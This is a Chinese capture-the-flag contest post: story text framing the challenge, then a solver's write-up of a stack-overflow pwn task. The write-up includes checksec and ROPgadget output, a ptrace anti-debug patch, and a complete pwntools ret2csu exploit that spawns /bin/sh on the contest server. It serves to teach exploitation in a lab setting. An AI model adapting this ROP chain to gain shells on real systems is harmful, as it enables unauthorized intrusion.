此外 P&R、INVCODE 两支战队也在本题比赛中崭露头角!
本以为重置机器人三大法则,就可以逆转形势,但你们与Norns的较量才刚刚开始。
Norns强大的运算能力和速度果然名不虚传,你和肖恩两人合力对其发起进攻,也只是艰难地抓住一线机会,从Norn那里夺回短暂的主动权。
仿生人们还未恢复正常多久,在这场激烈的拉锯战中,攻防局势再度逆转,系统权限又被Norns收回。
仿生人大军压境,随着机械运转的声音,各个出入口也被紧紧关闭,你们所在的这一层被Norns彻底封锁。
你突然感到脊背一凉,转头更是撞上了无人机闪着红光的“眼睛”正对你们虎视眈眈。
潜入Norns老巢的你们此刻正如瓮中之鳖。就算侥幸逃脱仿生人的围剿,如果这些无人机同时对你们进行扫射,你们也会成为活靶子,无处可逃。
“面对困难最好的办法就是微笑着面对他,奥利给!!”肖恩突然一句不合时宜的话让你和希莉娅哭笑不得。
你们三人相视一笑,坐以待毙可不是你们的风格,是时候该打响反攻战的号角了!!
可眼下敌方人多势众,跟他们硬刚的确不是明智之举。你们三人决定先离开这个是非之地,再去找位于最高研究所顶楼的Norns本体。
现在调出大楼布局图,争分夺秒找到最快速的逃离路线,逃出生天吧!
一道栈溢出
解题思路由作者 number_Z 提供
root@ubuntu:/mnt/hgfs/ShareDir/ctf/pwn1# checksec pwn1
[*] '/mnt/hgfs/ShareDir/ctf/pwn1/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
# (cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h) 查看系统调用号
sub_400CA8()有ptrace反调试,patch处理掉。
init_array中调用到sub_400E08()时,可以看到检查了sub_400E82()的结果,而sub_400E82()中原逻辑为返回TracerPid。如果检查不通过的话,系统调用sub_4017CC()方法将被更改...。解决方法有很多,我这边是在sub_400E82()中patch返回值为0,绕过检查。
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/#ret2csu
# 0x000000000040185b最长最牛,我们去他附近找找。
root@ubuntu:/mnt/hgfs/ShareDir/ctf/pwn1# ROPgadget --binary pwn1 --only "pop|ret"
Gadgets information
============================================================
0x000000000040185c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040185e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401860 : pop r14 ; pop r15 ; ret
0x0000000000401862 : pop r15 ; ret
0x000000000040185b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040185f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400a20 : pop rbp ; ret
0x0000000000400b60 : pop rbx ; pop rbp ; ret
0x0000000000401863 : pop rdi ; ret
0x0000000000401861 : pop rsi ; pop r15 ; ret
0x000000000040185d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040028c : ret
0x0000000000401757 : ret 0x1be
0x0000000000400c32 : ret 0x458b
0x0000000000400f07 : ret 0x858b
0x0000000000400c55 : ret 0x8b48
0x0000000000400da5 : ret 0xbe
# call execve 系统调用号为59 ,控制后两个参数为0
root@ubuntu:/mnt/hgfs/ShareDir/ctf/pwn1# cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
#define __NR_execve 59
# payload构造如下,常规的通用gadget利用方式不细说了,点上文传送阵学习,这里提一个点,需要一点小窍门绕过去
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = ''
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += '/bin/sh\x00' + 'A' * 0x28
payload += p64(last)
return payload
# 就是execve需要三个参数,而我们此时只能控制两个参数(常规通用gadget方式只能控制rdi、rsi、rdx三个寄存器,无法控制rcx)
# 调用号 rdi=edi=r15d=59 call execve
# 第一个参数rsi = r14 = 0x602120 (保存了/bin/sh)
# 第二个参数rdx = r13 = 0
# !!我们这里需要控制第三个参数 rcx = 0 才能满足execve("/bin/sh", NULL, NULL)的条件
# 解决办法就是在内存中找到一个地址是# xor rcx, rcx; ret; 构造变形一下通用gadget的利用方式 在调用execve前 使rcx为0
syscall = 0x4017CC
payload = p64(syscall) + p64(csu_end_addr) + 'A' * 8
payload += p64(xor_rcx_ret_addr) + p64(csu_end_addr)
payload += csu(0, 1, 0x6020C0, 0, 0x602120, 59, main_addr)
payload += 'A' * 8
payload += p64(0x6020C8 - 0x18)
#coding:utf8
#!python
#!/usr/bin/env python
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = "debug"
elfpath = '/mnt/hgfs/ShareDir/ctf/pwn1/pwn1'
elf = ELF(elfpath)
if len(sys.argv) == 0:
p = process(elfpath, env={'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc.so.6'}, timeout=2)
else:
p = remote('121.36.145.157', 9999)
csu_front_addr = 0x401840
csu_end_addr = 0x40185A
main_addr = 0x400AB6
xor_rcx_ret_addr = 0x4017E3 # xor rcx, rcx; ret;
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = ''
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += '/bin/sh\x00' + 'A' * 0x28
payload += p64(last)
return payload
syscall = 0x4017CC
payload = p64(syscall) + p64(csu_end_addr) + 'A' * 8
payload += p64(xor_rcx_ret_addr) + p64(csu_end_addr)
payload += csu(0, 1, 0x6020C0, 0, 0x602120, 59, main_addr) # call __NR_execve 59 (cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve)
payload += 'A' * 8
payload += p64(0x6020C8 - 0x18)
# getshell
p.send(payload)
p.interactive()
看完解析你会了吗?你还有不一样的解题思路吗? 实践出真知~速速动手自己做一遍,才算把知识装进脑子~ 欢迎大家分享解题思路哦~
现在第十题《终焉之战》正在火热进行中!
有你比赛更精彩!
越早提交答案,得分越高哦!
立即扫码加入战斗!
赛题回顾
出题战队:七星战队
出题战队:中娅之戒
出题战队:2019
出题战队:大灰狼爱喜羊羊
出题战队:金左手
出题团队:T.O.
出题团队:HU1战队
出题团队:BXS-iyzyi
你的好友秀秀子拍了拍你
并请你点击阅读原文,参与最新一题的挑战!